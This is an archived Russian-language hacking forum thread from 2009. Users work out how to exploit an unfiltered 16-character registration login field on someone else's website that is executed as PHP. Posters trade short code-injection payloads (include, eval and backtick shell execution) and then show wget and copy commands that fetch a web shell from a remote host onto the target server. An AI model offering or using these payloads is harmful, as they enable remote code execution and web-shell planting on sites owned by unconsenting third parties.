Просмотр полной версии : 16 символов :(
Mr.Hardwar
06.07.2009, 10:10
На одном ресе обнаружил такую штуку: когда входишь на сайт то на странице пишется "Привет ЛОГИН". так вот, при регистрации в поле логин никакой фильтрации нет и можно указывать любые символы. Облом лишь в том что обработчик формы не регает логины больше 16 символов! :mad:
Подскажите как можно использовать эту уязвимость. работает phpinfo() sleep(), а больше не хватает у меня ни фантазии ни символов
mailbrush
06.07.2009, 20:38
При register_globals=ON
include($a)
Потом в GET['a'] - путь к шеллу
При register_globals=ON
include($a)
Потом в GET['a'] - путь к шеллу
include($_GET['a'])
Вроде же.
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса.
Или я видимо ещё незнал об этом.
Если твой пример правильный, дико извеняюсь ;)
include($_GET['a'])
Вроде же.
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса.
Или я видимо ещё незнал об этом.
Если твой пример правильный, дико извеняюсь ;)
При register_globals=ON
какбе
eval($_GET[a]); &a=copy('http://shellsite.com/shell.txt','shell.php'); ну в этом стиле.
include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе
include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе
включен на таких версиях старых что поискать надо:
Наверное, наиболее спорным моментом в разработке PHP стала замена значения по умолчанию для опции register_globals с ON на OFF в версии 4.2.0.
чёта у меня в на локалхосте по дефолту он был, пшп 5
По дефолту уже давно офф, а в шестой версии вроде и вовсе отключат.
чёта у меня в на локалхосте по дефолту он был, пшп 5
МБ сам включил и подзабыл(бывает такое дистр сохранил и прям в нем поизменял) ну или в денвер/xamp/прочая нежить был поставлен в on а так с 4.2.0 в офф он по дефолту.
Mr.Hardwar
08.07.2009, 21:19
<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало :(
<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало :(
http://mysite.ru/file.txt
По твоему запросу он инклюдит папку mysite.ru/file.txt а не удалённый сервер ;)
Mr.Hardwar
09.07.2009, 09:58
c http результат тот же(
&a=http://mysite.ru/primer.php -выводится страница c Hacking attempt!
&a=http://mysite.ru/primer.txt -страница грузится но ничо не инклудится..пишется "Привет, !"
Инклюдить он заинклюдить
Ну вот может бред.
в .htacces
AddType application/x-httpd-php .txt
На своём серваке.
BlackSun
09.07.2009, 19:55
8 байт <? `$a`;
14 байт <? `$_GET[a]`;
8 байт <? `$a`;
14 байт <? `$_GET[a]`;
Я тоже вчера пробовал... а дальше чего? ;)
BlackSun
09.07.2009, 22:11
Я тоже вчера пробовал... а дальше чего? ;)
Что значит "а дальше чего"? Дальше сливаем wget'ом и ему подобными шелл, наслаждаемся.
?a=wget+http://google.com/shell.txt если уж совсем не понятно.
.::BARS::.
20.07.2009, 06:18
хм.... а ничего если упапки нет прав на запись???? =))))
BlackSun
20.07.2009, 07:13
А тебя совершенно не волнует тот факт, что папок все же больше одной? --output-document=
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot